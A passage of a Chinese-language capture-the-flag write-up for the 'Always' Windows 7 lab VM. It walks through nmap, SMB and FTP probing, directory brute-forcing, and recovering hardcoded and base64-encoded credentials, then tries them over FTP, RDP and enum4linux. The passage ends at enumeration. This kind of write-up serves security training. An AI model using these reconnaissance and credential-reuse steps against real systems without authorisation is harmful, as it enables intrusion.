alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
172.16.52.224   08:00:27:f6:b3:bb       (Unknown)                                                                                   
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 172.16.52.224
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-13 00:48 EST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 0 undergoing Host Discovery
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 172.16.52.224
Host is up (0.00028s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT      STATE SERVICE            VERSION
21/tcp    open  ftp                Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
|_ssl-date: 2025-12-13T05:49:45+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Always-PC
| Not valid before: 2025-12-12T05:47:19
|_Not valid after:  2026-06-13T05:47:19
5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
8080/tcp  open  http               Apache httpd 2.4.57 ((Win64))
|_http-server-header: Apache/2.4.57 (Win64)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: We Are Sorry
| http-methods: 
|_  Potentially risky methods: TRACE
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49156/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: ALWAYS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -30m00s, deviation: 1h00m00s, median: 0s
|_nbstat: NetBIOS name: ALWAYS-PC, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 08:00:27:f6:b3:bb (Oracle VirtualBox virtual NIC)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Always-PC
|   NetBIOS computer name: ALWAYS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-12-13T07:49:40+02:00
| smb2-time: 
|   date: 2025-12-13T05:49:40
|_  start_date: 2025-12-13T05:47:19
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.98 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SMB匿名连接&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# smbmap -H 172.16.52.224                                                 

    ________  ___      ___  _______   ___      ___       __         _______
   /&amp;quot;       )|&amp;quot;  \    /&amp;quot;  ||   _  &amp;quot;\ |&amp;quot;  \    /&amp;quot;  |     /&amp;quot;&amp;quot;\       |   __ &amp;quot;\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /&amp;#39; /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __&amp;#39;  \    (|  /
   /&amp;quot; \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
[!] Access denied on 172.16.52.224, no fun for you...
[*] Closed 1 connections                                                                                                     
                            
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SMB 服务是正常的&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;能建立 SMB 会话&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Guest / Anonymous 被系统识别&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;但权限被严格限制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;没有任何可枚举的共享&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;连 &lt;code&gt;IPC$&lt;/code&gt; 的有用信息都不给&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;ftp匿名连接&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# ftp anonymous@172.16.52.224  
Connected to 172.16.52.224.
220 Microsoft FTP Service
331 Password required for anonymous.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FTP 服务 &lt;strong&gt;开启&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;anonymous 用户存在&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;但 &lt;strong&gt;被策略禁止登录&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8080端口&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;DOCTYPE html&amp;gt;
&amp;lt;head&amp;gt;
	&amp;lt;title&amp;gt;We Are Sorry&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
	&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;Our Site Is Under Maintenance. Please Come Back Again Later.&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;We Are Sorry&lt;/strong&gt;&lt;br&gt;👉 &lt;em&gt;我们很抱歉&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Our Site Is Under Maintenance. Please Come Back Again Later.&lt;/strong&gt;&lt;br&gt;👉 &lt;em&gt;我们的网站正在维护中，请稍后再访问。&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://172.16.52.224:8080/  
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                                 
 (_||| _) (/_(_|| (_| )                                                                                                                                          
                                                                                                                                                                 
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_172.16.52.224_8080/__25-12-13_00-59-57.txt

Target: http://172.16.52.224:8080/

[00:59:57] Starting: 
[01:00:00] 301 -  240B  - /Admin  -&amp;gt;  http://172.16.52.224:8080/Admin/      
[01:00:00] 301 -  240B  - /admin  -&amp;gt;  http://172.16.52.224:8080/admin/
[01:00:00] 301 -  240B  - /ADMIN  -&amp;gt;  http://172.16.52.224:8080/ADMIN/
[01:00:00] 200 -    3KB - /admin%20/
[01:00:01] 301 -  241B  - /admin.  -&amp;gt;  http://172.16.52.224:8080/admin./    
[01:00:01] 200 -    3KB - /Admin/                                           
[01:00:01] 200 -    3KB - /admin/
[01:00:01] 200 -    3KB - /admin/index.html
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;/admin&lt;/h4&gt;
&lt;p&gt;访问路由是一个登录框&lt;/p&gt;
&lt;p&gt;看一下源代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
        &amp;lt;h2&amp;gt;Login&amp;lt;/h2&amp;gt;
        &amp;lt;form id=&amp;quot;loginForm&amp;quot; action=&amp;quot;admin_notes.html&amp;quot; method=&amp;quot;POST&amp;quot; onsubmit=&amp;quot;return validateForm()&amp;quot;&amp;gt;
            &amp;lt;input type=&amp;quot;text&amp;quot; id=&amp;quot;username&amp;quot; name=&amp;quot;username&amp;quot; placeholder=&amp;quot;Username&amp;quot; required&amp;gt;
            &amp;lt;input type=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; name=&amp;quot;password&amp;quot; placeholder=&amp;quot;Password&amp;quot; required&amp;gt;
            &amp;lt;button type=&amp;quot;submit&amp;quot;&amp;gt;Login&amp;lt;/button&amp;gt;
        &amp;lt;/form&amp;gt;
        &amp;lt;div class=&amp;quot;error&amp;quot; id=&amp;quot;errorMessage&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;div class=&amp;quot;footer&amp;quot;&amp;gt;2024 Always Corp. All Rights Reserved.&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;script&amp;gt;
        function validateForm() {
            const username = document.getElementById(&amp;quot;username&amp;quot;).value;
            const password = document.getElementById(&amp;quot;password&amp;quot;).value;
            const errorMessage = document.getElementById(&amp;quot;errorMessage&amp;quot;);

            
            if (username === &amp;quot;admin&amp;quot; &amp;amp;&amp;amp; password === &amp;quot;adminpass123&amp;quot;) {
                return true; 
            }

            errorMessage.textContent = &amp;quot;Invalid Username Or Password!&amp;quot;;
            return false; 
        }
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接使用代码中嵌入的admin/adminpass123&lt;/p&gt;
&lt;p&gt;进入得到Admin&amp;#39;s Notes&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ZnRwdXNlcjpLZWVwR29pbmdCcm8hISE=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;base64解码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ftpuser:KeepGoingBro!!!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试ftp连接&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# ftp ftpuser@172.16.52.224
Connected to 172.16.52.224.
220 Microsoft FTP Service
331 Password required for ftpuser.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp&amp;gt; ls
229 Entering Extended Passive Mode (|||49160|)
125 Data connection already open; Transfer starting.
10-01-24  07:17PM                   56 robots.txt
226 Transfer complete.
ftp&amp;gt; get robots.txt
local: robots.txt remote: robots.txt
229 Entering Extended Passive Mode (|||49161|)
125 Data connection already open; Transfer starting.
100% |********************************************************************************************************************|    56        1.21 MiB/s    00:00 ETA
226 Transfer complete.
56 bytes received in 00:00 (327.46 KiB/s)
ftp&amp;gt; exit
221 Goodbye
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# cat robots.txt 
User-agent: *
Disallow: /admins-secret-pagexxx.html
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a href=&quot;http://172.16.52.224:8080/admins-secret-pagexxx.html&quot;&gt;admins-secret-pagexxx.html&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
        &amp;lt;h2&amp;gt;Admin&amp;#39;s Secret Notes&amp;lt;/h2&amp;gt;
        &amp;lt;ul&amp;gt;
            &amp;lt;li&amp;gt;1) Disable the firewall and Windows Defender.&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;2) Enable FTP and SSH.&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;3) Start the Apache server.&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;4) Don&amp;#39;t forget to change the password for user &amp;#39;always&amp;#39;. Current password is &amp;quot;WW91Q2FudEZpbmRNZS4hLiE=&amp;quot;.&amp;lt;/li&amp;gt;
        &amp;lt;/ul&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 👉 &lt;strong&gt;管理员的秘密笔记&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;** &lt;strong&gt;👉&lt;/strong&gt; 1）关闭防火墙和 Windows Defender**&lt;/p&gt;
&lt;p&gt;** &lt;strong&gt;👉&lt;/strong&gt; 2）启用 FTP 和 SSH**&lt;/p&gt;
&lt;p&gt;** &lt;strong&gt;👉&lt;/strong&gt; 3）启动 Apache 服务器**&lt;/p&gt;
&lt;p&gt;** &lt;strong&gt;👉&lt;/strong&gt; 4）别忘了修改用户 &lt;strong&gt;&lt;code&gt;**always**&lt;/code&gt;&lt;/strong&gt; 的密码。&lt;br&gt;**&lt;strong&gt;当前密码是：&amp;quot;WW91Q2FudEZpbmRNZS4hLiE=&amp;quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;解码结果是：&lt;/p&gt;
&lt;p&gt;YouCantFindMe.!.!&lt;/p&gt;
&lt;p&gt;** 新拿到的系统用户  **&lt;/p&gt;
&lt;p&gt;&lt;code&gt;**always : YouCantFindMe.!.!**&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Always账户&lt;/h1&gt;
&lt;h2&gt;smb连接&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# smbmap -u always -p &amp;#39;YouCantFindMe.!.!&amp;#39; -H 172.16.52.224

    ________  ___      ___  _______   ___      ___       __         _______
   /&amp;quot;       )|&amp;quot;  \    /&amp;quot;  ||   _  &amp;quot;\ |&amp;quot;  \    /&amp;quot;  |     /&amp;quot;&amp;quot;\       |   __ &amp;quot;\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /&amp;#39; /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __&amp;#39;  \    (|  /
   /&amp;quot; \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          
[*] Closed 1 connections 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ssh连接&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# ssh always@172.16.52.224                                 
ssh: connect to host 172.16.52.224 port 22: Connection refused
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;rdp登录&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;xfreerdp /v:172.16.52.224 /u:always /p:&amp;#39;YouCantFindMe.!.!&amp;#39; /cert:ignore
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录失败&lt;/p&gt;
&lt;p&gt;重新回归ftpuser&lt;/p&gt;
&lt;h1&gt;ftpuser账户&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# enum4linux -u &amp;#39;always&amp;#39; -p &amp;#39;YouCantFindMe.!.!&amp;#39; -a 172.16.52.224
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Dec 13 01:44:11 2025

 =========================================( Target Information )=========================================

Target ........... 172.16.52.224
RID Range ........ 500-550,1000-1050
Username ......... &amp;#39;always&amp;#39;
Password ......... &amp;#39;YouCantFindMe.!.!&amp;#39;
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 172.16.52.224 )===========================
                                                                                                                                                                 
                                                                                                                                                                 
[+] Got domain/workgroup name: WORKGROUP                                                                                                                         
                                                                                                                                                                 
                                                                                                                                                                 
 ===============================( Nbtstat Information for 172.16.52.224 )===============================
                                                                                                                                                                 
Looking up status of 172.16.52.224                                                                                                                               
        ALWAYS-PC       &amp;lt;20&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  File Server Service
        ALWAYS-PC       &amp;lt;00&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Workstation Service
        WORKGROUP       &amp;lt;00&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Domain/Workgroup Name
        WORKGROUP       &amp;lt;1e&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Browser Service Elections
        WORKGROUP       &amp;lt;1d&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Master Browser
        ..__MSBROWSE__. &amp;lt;01&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Master Browser

        MAC Address = 08-00-27-F6-B3-BB

 ===================================( Session Check on 172.16.52.224 )===================================
                                                                                                                                                                 
                                                                                                                                                                 
[E] Server doesn&amp;#39;t allow session using username &amp;#39;always&amp;#39;, password &amp;#39;YouCantFindMe.!.!&amp;#39;.  Aborting remainder of tests.                                            
                                                                                                                                                                 
                                                                                                                                                                 
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# enum4linux -u &amp;#39;ftpuser&amp;#39; -p &amp;#39;KeepGoingBro!!!&amp;#39; -a 172.16.52.224
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Dec 13 01:44:39 2025

 =========================================( Target Information )=========================================
                                                                                                                                                                 
Target ........... 172.16.52.224                                                                                                                                 
RID Range ........ 500-550,1000-1050
Username ......... &amp;#39;ftpuser&amp;#39;
Password ......... &amp;#39;KeepGoingBro!!!&amp;#39;
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 172.16.52.224 )===========================
                                                                                                                                                                 
                                                                                                                                                                 
[+] Got domain/workgroup name: WORKGROUP                                                                                                                         
                                                                                                                                                                 
                                                                                                                                                                 
 ===============================( Nbtstat Information for 172.16.52.224 )===============================
                                                                                                                                                                 
Looking up status of 172.16.52.224                                                                                                                               
        ALWAYS-PC       &amp;lt;20&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  File Server Service
        ALWAYS-PC       &amp;lt;00&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Workstation Service
        WORKGROUP       &amp;lt;00&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Domain/Workgroup Name
        WORKGROUP       &amp;lt;1e&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Browser Service Elections
        WORKGROUP       &amp;lt;1d&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Master Browser
        ..__MSBROWSE__. &amp;lt;01&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Master Browser

        MAC Address = 08-00-27-F6-B3-BB

 ===================================( Session Check on 172.16.52.224 )===================================
                                                                                                                                                                 
                                                                                                                                                                 
[+] Server 172.16.52.224 allows sessions using username &amp;#39;ftpuser&amp;#39;, password &amp;#39;KeepGoingBro!!!&amp;#39;                                                                    
                                                                                                                                                                 
                                                                                                                                                                 
 ================================( Getting domain SID for 172.16.52.224 )================================
                                                                                                                                                                 
Domain Name: WORKGROUP                                                                                                                                           
Domain Sid: (NULL SID)

[+] Can&amp;#39;t determine if host is part of domain or part of a workgroup                                                                                             
                                                                                                                                                                 
                                                                                                                                                                 
 ==================================( OS information on 172.16.52.224 )==================================
                                                                                                                                                                 
                                                                                                                                                                 
[E] Can&amp;#39;t get OS info with smbclient                                                                                                                             
                                                                                                                                                                 
                                                                                                                                                                 
[+] Got OS info for 172.16.52.224 from srvinfo:                                                                                                                  
        172.16.52.224  Wk Sv NT PtB LMB                                                                                                                          
        platform_id     :       500
        os version      :       6.1
        server type     :       0x51003


 =======================================( Users on 172.16.52.224 )=======================================
                                                                                                                                                                 
index: 0x1 RID: 0x1f4 acb: 0x00000210 Account: Administrator    Name: (null)    Desc: Bilgisayarı/etki alanını yönetmede kullanılan önceden tanımlı hesap        
index: 0x2 RID: 0x3e8 acb: 0x00000214 Account: Always   Name: (null)    Desc: (null)
index: 0x3 RID: 0x3e9 acb: 0x00000210 Account: ftpuser  Name: ftpuser   Desc: (null)
index: 0x4 RID: 0x1f5 acb: 0x00000215 Account: Guest    Name: (null)    Desc: Bilgisayara/etki alanına konuk erişiminde kullanılan önceden tanımlı hesap

user:[Administrator] rid:[0x1f4]
user:[Always] rid:[0x3e8]
user:[ftpuser] rid:[0x3e9]
user:[Guest] rid:[0x1f5]

 =================================( Share Enumeration on 172.16.52.224 )=================================
                                                                                                                                                                 
do_connect: Connection to 172.16.52.224 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)                                                                         

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Uzak Yönetici
        C$              Disk      Varsayılan değer
        IPC$            IPC       Uzak IPC
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 172.16.52.224                                                                                                                    
                                                                                                                                                                 
//172.16.52.224/ADMIN$  Mapping: DENIED Listing: N/A Writing: N/A                                                                                                
//172.16.52.224/C$      Mapping: DENIED Listing: N/A Writing: N/A

[E] Can&amp;#39;t understand response:                                                                                                                                   
                                                                                                                                                                 
NT_STATUS_INVALID_PARAMETER listing \*                                                                                                                           
//172.16.52.224/IPC$    Mapping: N/A Listing: N/A Writing: N/A

 ===========================( Password Policy Information for 172.16.52.224 )===========================
                                                                                                                                                                 
                                                                                                                                                                 

[+] Attaching to 172.16.52.224 using ftpuser:KeepGoingBro!!!

[+] Trying protocol 139/SMB...

        [!] Protocol failed: Cannot request session (Called Name:172.16.52.224)

[+] Trying protocol 445/SMB...

[+] Found domain(s):

        [+] Always-PC
        [+] Builtin

[+] Password Info for Domain: Always-PC

        [+] Minimum password length: None
        [+] Password history length: None
        [+] Maximum password age: 41 days 23 hours 53 minutes 
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes 
        [+] Locked Account Duration: 30 minutes 
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: Not Set



[+] Retieved partial password policy with rpcclient:                                                                                                             
                                                                                                                                                                 
                                                                                                                                                                 
Password Complexity: Disabled                                                                                                                                    
Minimum Password Length: 0


 ======================================( Groups on 172.16.52.224 )======================================
                                                                                                                                                                 
                                                                                                                                                                 
[+] Getting builtin groups:                                                                                                                                      
                                                                                                                                                                 
group:[Administrators] rid:[0x220]                                                                                                                               
group:[Backup Operators] rid:[0x227]
group:[Cryptographic Operators] rid:[0x239]
group:[Distributed COM Users] rid:[0x232]
group:[Event Log Readers] rid:[0x23d]
group:[Guests] rid:[0x222]
group:[IIS_IUSRS] rid:[0x238]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Log Users] rid:[0x22f]
group:[Performance Monitor Users] rid:[0x22e]
group:[Power Users] rid:[0x223]
group:[Remote Desktop Users] rid:[0x22b]
group:[Replicator] rid:[0x228]
group:[Users] rid:[0x221]

[+]  Getting builtin group memberships:                                                                                                                          
                                                                                                                                                                 
Group: Administrators&amp;#39; (RID: 544) has member: Always-PC\Administrator                                                                                            
Group: IIS_IUSRS&amp;#39; (RID: 568) has member: IIS APPPOOL\DefaultAppPool
Group: Users&amp;#39; (RID: 545) has member: NT AUTHORITY\INTERACTIVE
Group: Users&amp;#39; (RID: 545) has member: NT AUTHORITY\Authenticated Users
Group: Users&amp;#39; (RID: 545) has member: Always-PC\Always
Group: Users&amp;#39; (RID: 545) has member: Always-PC\ftpuser
Group: Guests&amp;#39; (RID: 546) has member: Always-PC\Guest
Group: Remote Desktop Users&amp;#39; (RID: 555) has member: Always-PC\Administrator
Group: Remote Desktop Users&amp;#39; (RID: 555) has member: Always-PC\Always
Group: Performance Monitor Users&amp;#39; (RID: 558) has member: Always-PC\Always

[+]  Getting local groups:                                                                                                                                       
                                                                                                                                                                 
group:[Remote Management Users] rid:[0x3ea]                                                                                                                      

[+]  Getting local group memberships:                                                                                                                            
                                                                                                                                                                 
Group: Remote Management Users&amp;#39; (RID: 1002) has member: Always-PC\Always                                                                                         

[+]  Getting domain groups:                                                                                                                                      
                                                                                                                                                                 
group:[None] rid:[0x201]                                                                                                                                         

[+]  Getting domain group memberships:                                                                                                                           
                                                                                                                                                                 
Group: &amp;#39;None&amp;#39; (RID: 513) has member: Always-PC\Administrator                                                                                                     
Group: &amp;#39;None&amp;#39; (RID: 513) has member: Always-PC\Guest
Group: &amp;#39;None&amp;#39; (RID: 513) has member: Always-PC\Always
Group: &amp;#39;None&amp;#39; (RID: 513) has member: Always-PC\ftpuser

 ==================( Users on 172.16.52.224 via RID cycling (RIDS: 500-550,1000-1050) )==================
                                                                                                                                                                 
                                                                                                                                                                 
[I] Found new SID:                                                                                                                                               
S-1-5-21-381724225-1041572993-564731166                                                                                                                          

[I] Found new SID:                                                                                                                                               
S-1-5-21-381724225-1041572993-564731166                                                                                                                          

[I] Found new SID:                                                                                                                                               
S-1-5-32                                                                                                                                                         

[I] Found new SID:                                                                                                                                               
S-1-5-32                                                                                                                                                         

[I] Found new SID:                                                                                                                                               
S-1-5-32                                                                                                                                                         

[I] Found new SID:                                                                                                                                               
S-1-5-32                                                                                                                                                         

[I] Found new SID:                                                                                                                                               
S-1-5-32                                                                                                                                                         

[I] Found new SID:                                                                                                                                               
S-1-5-21-381724225-1041572993-564731166                                                                                                                          

[I] Found new SID:                                                                                                                                               
S-1-5-21-381724225-1041572993-564731166                                                                                                                          

[+] Enumerating users using SID S-1-5-80 and logon username &amp;#39;ftpuser&amp;#39;, password &amp;#39;KeepGoingBro!!!&amp;#39;                                                                
                                                                                                                                                                 
                                                                                                                                                                 
[+] Enumerating users using SID S-1-5-32 and logon username &amp;#39;ftpuser&amp;#39;, password &amp;#39;KeepGoingBro!!!&amp;#39;                                                                
                                                                                                                                                                 
S-1-5-32-544 BUILTIN\Administrators (Local Group)                                                                                                                
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)

[+] Enumerating users using SID S-1-5-80-3139157870-2983391045-3678747466-658725712 and logon username &amp;#39;ftpuser&amp;#39;, password &amp;#39;KeepGoingBro!!!&amp;#39;                     
                                                                                                                                                                 
                                                                                                                                                                 
[+] Enumerating users using SID S-1-5-82-3006700770-424185619-1745488364-794895919 and logon username &amp;#39;ftpuser&amp;#39;, password &amp;#39;KeepGoingBro!!!&amp;#39;                      
                                                                                                                                                                 
                                                                                                                                                                 
[+] Enumerating users using SID S-1-5-21-381724225-1041572993-564731166 and logon username &amp;#39;ftpuser&amp;#39;, password &amp;#39;KeepGoingBro!!!&amp;#39;                                 
                                                                                                                                                                 
S-1-5-21-381724225-1041572993-564731166-500 Always-PC\Administrator (Local User)                                                                                 
S-1-5-21-381724225-1041572993-564731166-501 Always-PC\Guest (Local User)
S-1-5-21-381724225-1041572993-564731166-513 Always-PC\None (Domain Group)
S-1-5-21-381724225-1041572993-564731166-1000 Always-PC\Always (Local User)
S-1-5-21-381724225-1041572993-564731166-1001 Always-PC\ftpuser (Local User)
S-1-5-21-381724225-1041572993-564731166-1002 Always-PC\Remote Management Users (Local Group)

 ===============================( Getting printer info for 172.16.52.224 )===============================
                                                                                                                                                                 
do_cmd: Could not initialise spoolss. Error was NT_STATUS_OBJECT_NAME_NOT_FOUND                                                                                  


enum4linux complete on Sat Dec 13 01:45:02 2025
&lt;/code&gt;&lt;/pre&gt;
